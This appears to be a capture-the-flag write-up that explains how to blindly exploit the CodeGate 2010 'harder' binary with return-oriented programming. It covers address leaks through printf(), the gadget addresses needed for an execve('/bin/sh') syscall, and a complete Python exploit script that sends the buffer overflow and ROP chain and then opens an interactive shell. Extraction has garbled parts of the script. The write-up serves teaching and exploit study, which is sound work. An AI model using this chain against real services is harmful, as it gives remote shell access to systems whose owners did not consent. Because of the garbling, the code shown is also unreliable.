In my previous post about CodeGate 2010 Challenge 5 exploit, I mentioned the weakness of accessing server to get execl() address. In this post I will show how to blindly exploit the “harder” program without access to the remote server using return-oriented-programming technique.
ROP introduction
A worth to read post about ROP introduction can be found on Zynamics blog: http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/
In summary: we will use return-into-instructions (called gadgets) to build and execute our payload when controlled EIP and ESP from vulnerable program.
ROP limitations (difficulties):
- ASLR: the same as return-into-libc, it’s difficult to locate address of instructions in library (e.g libc)
- ASCII-armor address: with ascii-armor remapping of libraries (e.g libc), addresses will contain NULL byte so chaining return-into-libc calls and ROP is impossible if there’s NULL filter in input
The “harder” case
Fortunately, we can blindly exploit the “harder” program using ROP because it provides some “advantages” in code:
- getline(): can pass NULL byte to input
- printf(): can leak runtime memory info (bypass ASLR)
Finding ROP gadgets
Our target is to invoke execve(“/bin/sh”, 0, 0) syscall, which is equivalent to prepare registers’ value then trigger kernel syscall:
eax = 0xb // execve
ebx = address of “/bin/sh”
ecx = 0 // argv
edx = 0 // env
Searching in harder binary, we found below gadgets:
- eax:
80483a4: 58 pop %eax 80483a5: 5b pop %ebx 80483a6: c9 leave 80483a7: c3 ret
- ebx & ecx:
8048634: 59 pop %ecx 8048635: 5b pop %ebx 8048636: c9 leave 8048637: c3 ret
“/bin/sh” is placed on target buffer, its address is available by leaking via printf()</li> </ul>
- edx:
There’s no edx related gadget but observing that when returned from memcpy() edx’s value is set to esi so we can assign esi to 0×0 first then return again to main to nullify edx.</p>0x001ba506 : mov edx,esi 80485e6: 5e pop %esi 80485e7: 5f pop %edi 80485e8: 5d pop %ebp 80485e9: c3 ret
-
syscall:
In recent Linux kernel, syscall is usually performed via linux gate: call gs:[0x10]. By return to back to printf() in harder program many times, we can find the offset from getline() to first syscall is 319 bytes. - moving stack:
After “leave; ret” our stack will be moved to new location pointing by ebp. We can control this by set ebp back to somewhere in the middle of target buffer.
Exploit code
#!/usr/bin/env python
- edx:
import socket import sys import struct import telnetlib
#host = ‘ctf4.codegate.org’ host = ‘127.0.0.1’ port = 9005
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) c.connect((host, port))
buf=””
bypass first read
buf = c.recv(1024)
getline() address
buf = “A”*268 + struct.pack(‘i’, 0x08048524) + struct.pack(‘i’, 0x0804a008) + “n” c.send(buf) buf = c.recv(1024) addr = “” getline_addr = int(buf[:4][::-1].encode(‘hex’), 16) print “getline() is at:”, hex(getline_addr)
call gs:[0x10] address
offset = 319 # first offset is 319 bytes from getline() syscall_addr = getline_addr + offset
buffer address
buf = “%7$x” + “x00”260 + struct.pack(‘i’, 0x08048521)2 + “n” c.send(buf) buf = c.recv(1024) input_addr = int(buf[:8], 16) print “Buffer address is at: “, hex(input_addr)
gadgets address
pop_eax = 0x080483a4 pop_ecx_ebx = 0x08048634 pop_esi = 0x080485e6
pop esi
buf = “A”268 + struct.pack(‘i’, pop_esi) + “x00” * 12 + struct.pack(‘i’, 0x08048524)2 + “n” c.send(buf) c.recv(1024)
pop eax then move stack to new address
input_addr += 560 # lifting after 2 getline() calls new_stack = input_addr+8 buf = “/bin/shx00” # /bin/sh buf += struct.pack(‘i’, new_stack+16) # next ebp after leave from pop_eax buf += struct.pack(‘i’, pop_ecx_ebx) # next is pop_ecx_ebx buf += “x00”4 # ecx buf += struct.pack(‘i’, input_addr) # ebx -> /bin/sh buf += “A”4 # un-used ebp after leave from pop_ecx_ebx buf += struct.pack(‘i’, syscall_addr) buf = buf.ljust(264, “A”) # padding buf += struct.pack(‘i’, new_stack) # new ebp buf += struct.pack(‘i’, pop_eax) buf += “x0bx00x00x00” # execve syscal buf += “A”*4 # un-used ebx buf += “n”
print “Sending final payload …” c.send(buf) c.send(“id 2>&1” + “n”*5)
t = telnetlib.Telnet() t.sock = c t.interact() c.close()
</pre>